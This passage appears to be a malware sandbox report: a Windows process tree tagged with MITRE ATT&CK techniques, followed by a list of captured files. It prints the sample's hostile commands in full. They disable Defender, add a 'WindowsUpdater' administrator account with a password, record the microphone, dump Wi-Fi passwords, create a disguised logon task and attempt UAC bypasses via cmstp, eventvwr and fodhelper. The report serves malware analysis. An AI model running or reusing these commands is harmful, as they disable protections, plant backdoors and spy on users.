- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643965318368.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643962661983.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643962661983.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Users\Admin\AppData\Local\tcpmon.exeC:\Users\Admin\AppData\Local\tcpmon.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4cf72b5b-34af-4e7d-bdbd-6f3189d86780.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\06f302f7-d4fe-43c5-a9e6-f0466262611b.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\71b32e0d-61aa-4377-a672-070c80f15380.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2776e445-bd55-4ef9-9bef-e46071fff519.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\516b297c-6453-4dcd-a1eb-4c932b0c502b.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4e0bd11e-c3f4-4667-ad94-6ec1e64386b7.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fc4aa1f8-e0f5-4e18-bab5-b78f7549b617.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643949380750.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643952037360.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643965318368.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create Account
1Local Account
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
ModuleAnalysisCache
4cf72b5b-34af-4e7d-bdbd-6f3189d86780.inf
88560d21-26c1-4c0f-8469-501c1fe5522a.inf
__PSScriptPolicyTest_vhuxm3z1.eap.ps1
uac.bat
uac.bat
tcpmon.exe
config.dat
run.dat
memory/8-529-0x000002EA38610000-0x000002EA38611000-memory.dmp
memory/644-531-0x000001B4559B0000-0x000001B455BCC000-memory.dmp
memory/820-410-0x000001544DA30000-0x000001544DC4C000-memory.dmp
memory/1704-527-0x000001B374410000-0x000001B37462C000-memory.dmp
memory/1984-291-0x000000001AFC0000-0x000000001AFD0000-memory.dmp
memory/1984-0-0x0000000000420000-0x000000000042C000-memory.dmp
memory/1984-537-0x000000001AFC0000-0x000000001AFD0000-memory.dmp
memory/2796-511-0x000002B774320000-0x000002B77453C000-memory.dmp
memory/3740-409-0x0000013A45060000-0x0000013A4527C000-memory.dmp
memory/3740-31-0x0000013A2C370000-0x0000013A2C392000-memory.dmp
memory/3784-512-0x000001D34ACB0000-0x000001D34AECC000-memory.dmp
memory/5128-532-0x000001D9CFA50000-0x000001D9CFC6C000-memory.dmp
memory/5340-535-0x000002AD72540000-0x000002AD7275C000-memory.dmp
memory/6136-541-0x000001A1AB210000-0x000001A1AB42C000-memory.dmp